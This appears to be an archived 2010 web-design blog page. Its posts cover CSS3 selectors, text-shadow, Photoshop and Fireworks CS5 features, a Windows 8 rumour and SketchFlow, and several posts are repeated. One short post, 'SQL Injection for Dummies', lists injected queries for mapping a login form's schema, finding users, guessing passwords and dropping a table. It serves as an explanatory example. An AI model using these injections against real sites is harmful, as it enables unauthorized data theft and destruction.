Odd or Even Rows
li:nth-child(odd) { color: blue; margin-left: 15px; }
li:nth-child(even) { color: green; margin-left: 15px; }
Every 3rd Row
li:nth-child(3n) { color: orange; margin-left: 15px; }
Specific Row Styling
li:nth-of-type(3) { color: blue; margin-left: 15px; }
p:nth-child(5) { color: green; margin-left: 15px; }
First and Last Element Styling
li:first-of-type { color: blue; margin-left: 15px; }
p:last-of-type { color: green; margin-left: 15px; }
First Two Elements
li:nth-child(-n+2) { color: blue; margin-left: 15px; }
Last Two Elements
p:nth-last-child(-n+2) { color: red; margin-left: 15px; }
All but First and Last Elements
p:not(:first-of-type):not(:last-of-type) { color: orange; margin-left: 15px;}
p:not(:nth-child(-n+2)):not(:nth-last-child(-n+2)) { color: blue; margin-left: 15px;}
Source: http://inspectelement.com/tutorials/a-look-at-some-of-the-new-selectors-introduced-in-css3/
Wednesday, June 16, 2010
Tuesday, June 8, 2010
CSS3 Using "text-shadow" to avoid unwanted Images
CSS Syntax

.className {
text-shadow: #666 20px -12px 2px;
}
text-shadow accepts four values:
The color(#666)
The X-coordinate (20px), relative to the text
The Y-coordinate (-12px), relative to the text
The blur radius (2px), which means the amount of space the shadowtext is 'stretched', causing a blur effect. 0 means: no blur.
Reference:http://www.quirksmode.org

.className {
text-shadow: #666 20px -12px 2px;
}
text-shadow accepts four values:
The color(#666)
The X-coordinate (20px), relative to the text
The Y-coordinate (-12px), relative to the text
The blur radius (2px), which means the amount of space the shadowtext is 'stretched', causing a blur effect. 0 means: no blur.
Reference:http://www.quirksmode.org
Tuesday, June 1, 2010
What's New and Enhanced in Photoshop CS5
New in PhotoShop CS5
Content-Aware Fill

Remove any image detail or object and watch as Content-Aware Fill magically fills in the space left behind. This breakthrough technology matches lighting, tone, and noise so it looks as if the removed content never existed.
Puppet Warp

Precisely warp or stretch graphics, text, or image elements to create unique new looks for your designs.
Enhanced in PhotoShop CS5
Superior HDR imaging
Create photo-realistic or surreal HDR images with unprecedented speed, control, and accuracy. Get better-than-ever results thanks to automatic ghost removal and greater control with tone mapping and adjustments, and even give single-exposure photos the look of HDR.
Faster performance across platforms
Speed up day-to-day imaging tasks and process very large images up to ten times faster by taking advantage of cross-platform 64-bit support. (Requires a 64-bit-capable computer with a 64-bit version of Mac OS, Microsoft® Windows® 7, or Windows Vista®. Actual performance varies depending on amount of RAM, driver types, and other factors.)
State-of-the-art raw image processing
Use the Adobe Photoshop Camera Raw 6 plug-in to remove image noise while preserving color and detail; add grain to make digital photos look more organic; enjoy more control as you perform post-crop vignetting; and more.
Efficient workflow
Enjoy productivity and creativity boosts thanks to dozens of features and enhancements requested by Photoshop users. Straighten images automatically, pick colors from an onscreen color picker, adjust the opacity of many layers at once, and more.
Better media management
Easily manage media with more flexible batch renaming, and access your assets in the context of what you're working on by using the customizable Adobe Mini Bridge panel in Photoshop.
Nishan Shanaka Korala Gamage
Colombo, Sri Lanka
Author: Eye Think
Content-Aware Fill

Remove any image detail or object and watch as Content-Aware Fill magically fills in the space left behind. This breakthrough technology matches lighting, tone, and noise so it looks as if the removed content never existed.
Puppet Warp

Precisely warp or stretch graphics, text, or image elements to create unique new looks for your designs.
Enhanced in PhotoShop CS5
Superior HDR imaging
Create photo-realistic or surreal HDR images with unprecedented speed, control, and accuracy. Get better-than-ever results thanks to automatic ghost removal and greater control with tone mapping and adjustments, and even give single-exposure photos the look of HDR.
Faster performance across platforms
Speed up day-to-day imaging tasks and process very large images up to ten times faster by taking advantage of cross-platform 64-bit support. (Requires a 64-bit-capable computer with a 64-bit version of Mac OS, Microsoft® Windows® 7, or Windows Vista®. Actual performance varies depending on amount of RAM, driver types, and other factors.)
State-of-the-art raw image processing
Use the Adobe Photoshop Camera Raw 6 plug-in to remove image noise while preserving color and detail; add grain to make digital photos look more organic; enjoy more control as you perform post-crop vignetting; and more.
Efficient workflow
Enjoy productivity and creativity boosts thanks to dozens of features and enhancements requested by Photoshop users. Straighten images automatically, pick colors from an onscreen color picker, adjust the opacity of many layers at once, and more.
Better media management
Easily manage media with more flexible batch renaming, and access your assets in the context of what you're working on by using the customizable Adobe Mini Bridge panel in Photoshop.
Nishan Shanaka Korala Gamage
Colombo, Sri Lanka
Author: Eye Think
Wednesday, May 26, 2010
Fireworks CS5: New Text Engine Features
Kerning, tracking and leading between characters in a text block can now be easily controlled using only the keyboard (simply put the cursor in between characters and use the keyboard arrow keys).
The slider value for kerning and tracking has been increased to 200.
If you open a PNG file created in Fireworks v. CS3 or lower, the kerning and tracking values will be automatically mapped and the look of the text will be preserved.
A new option (unique to Adobe Fireworks) allows you to multi-select characters and words in a text box and then style them together at once. This is complemented by another new option that allows you to auto-select similarly styled characters, words or paragraphs inside a text block, and then modify their styles at once.
An editable and auto-completing font list box feature has been added (Windows version only).
Now, you don’t need to restart Fireworks after installing a new font (Windows version only).
Undoing (Ctrl/Cmd + Z) and redoing (Ctrl/Cmd + Y) at the character level is now possible while you’re in text-editing mode.
Double-clicking selects the word, and triple-clicking selects the entire paragraph.
In the Layers panel, text object layers are now marked with a tiny “T” icon, for easier recognition.
A Text Overflow indicator appears when extra characters (that don’t fit the text-in-path or text-on-path) exist.
Copying and pasting text from any version of Microsoft Office into Fireworks is much improved.
The number of characters that can be copied and pasted into a Fireworks text block at once has been increased from 2000 to 8000.
Nishan Shanaka Korala Gamage
Colombo, Sri Lanka
Author: Eye Think
The slider value for kerning and tracking has been increased to 200.
If you open a PNG file created in Fireworks v. CS3 or lower, the kerning and tracking values will be automatically mapped and the look of the text will be preserved.
A new option (unique to Adobe Fireworks) allows you to multi-select characters and words in a text box and then style them together at once. This is complemented by another new option that allows you to auto-select similarly styled characters, words or paragraphs inside a text block, and then modify their styles at once.
An editable and auto-completing font list box feature has been added (Windows version only).
Now, you don’t need to restart Fireworks after installing a new font (Windows version only).
Undoing (Ctrl/Cmd + Z) and redoing (Ctrl/Cmd + Y) at the character level is now possible while you’re in text-editing mode.
Double-clicking selects the word, and triple-clicking selects the entire paragraph.
In the Layers panel, text object layers are now marked with a tiny “T” icon, for easier recognition.
A Text Overflow indicator appears when extra characters (that don’t fit the text-in-path or text-on-path) exist.
Copying and pasting text from any version of Microsoft Office into Fireworks is much improved.
The number of characters that can be copied and pasted into a Fireworks text block at once has been increased from 2000 to 8000.
Nishan Shanaka Korala Gamage
Colombo, Sri Lanka
Author: Eye Think
Next Windows version? The Future of PCs?
In one of the posts on the MSDN Blogs, the product manager working along with the Windows Update team discussed about what’s coming in the next version of Windows.The post appears to have now been removed by Microsoft.
But here is the extract:
"Folks started asking me whats in "Windows 8" – and the first thing I have to say is that I resonate Steven Sinofsky’s interview on who said we’re calling it "Windows 8"?
The minimum that folks can take for granted is that the next version will be something completely different from what folks usually expect of Windows
Microsoft to come up with a vision for Windows.next is a process that is surreal! The themes that have been floated truly reflect what people have been looking for years and it will change the way people think about PCs and the way they use them. It is the future of PCs…"
Source: http://www.thewindowsclub.com/microsoft-who-said-were-calling-it-windows-8#ixzz0ozyKw8jO
But here is the extract:
"Folks started asking me whats in "Windows 8" – and the first thing I have to say is that I resonate Steven Sinofsky’s interview on who said we’re calling it "Windows 8"?
The minimum that folks can take for granted is that the next version will be something completely different from what folks usually expect of Windows
Microsoft to come up with a vision for Windows.next is a process that is surreal! The themes that have been floated truly reflect what people have been looking for years and it will change the way people think about PCs and the way they use them. It is the future of PCs…"
Source: http://www.thewindowsclub.com/microsoft-who-said-were-calling-it-windows-8#ixzz0ozyKw8jO
Monday, May 24, 2010
SQL Injection for Dummies

This is pretty old but pretty cool!
The original article for this could be found on
http://unixwiz.net/techtips/sql-injection.html
Schema field mapping
SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; --';
SELECT fieldlist
FROM table
WHERE email = 'x' AND userid IS NULL; --';
result can get several valid field names:
email, passwd, login_id, full_name
Finding the table name
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --';
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' AND members.email IS NULL; --';
Finding some users
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' OR full_name LIKE '%Bob%';
Brute-force password guessing
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'bob@example.com' AND passwd = 'hello123';
The database isn't readonly
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x'; DROP TABLE members; --'; -- Boom!
Thursday, May 6, 2010
MIcrosoft defines SketchFlow
SketchFlow prototypes are designed by drawing out flow diagrams, composition, screens and states of an application UI.

You can use drawing tools, sticky notes, WPF or Silverlight controls and components, as well as imported images to iterate on and visualize your ideas quickly. SketchFlow even comes with a set of sketch styles for the standard platform controls, helping you present your work with a consistent “prototype” look to keep focus on the concepts presented. Using animation, you can illustrate design intent for dynamic interactions and application transitions easily.
SketchFlow lets you create, test, iterate, present and evaluate ideas in rapid succession, enabling you to consider approaching projects that previously would not have been cost effective or profitable.

Check out this URL form more
http://www.microsoft.com/expression/products/Sketchflow_Overview.aspx

You can use drawing tools, sticky notes, WPF or Silverlight controls and components, as well as imported images to iterate on and visualize your ideas quickly. SketchFlow even comes with a set of sketch styles for the standard platform controls, helping you present your work with a consistent “prototype” look to keep focus on the concepts presented. Using animation, you can illustrate design intent for dynamic interactions and application transitions easily.
SketchFlow lets you create, test, iterate, present and evaluate ideas in rapid succession, enabling you to consider approaching projects that previously would not have been cost effective or profitable.

Check out this URL form more
http://www.microsoft.com/expression/products/Sketchflow_Overview.aspx
Subscribe to:
Posts (Atom)

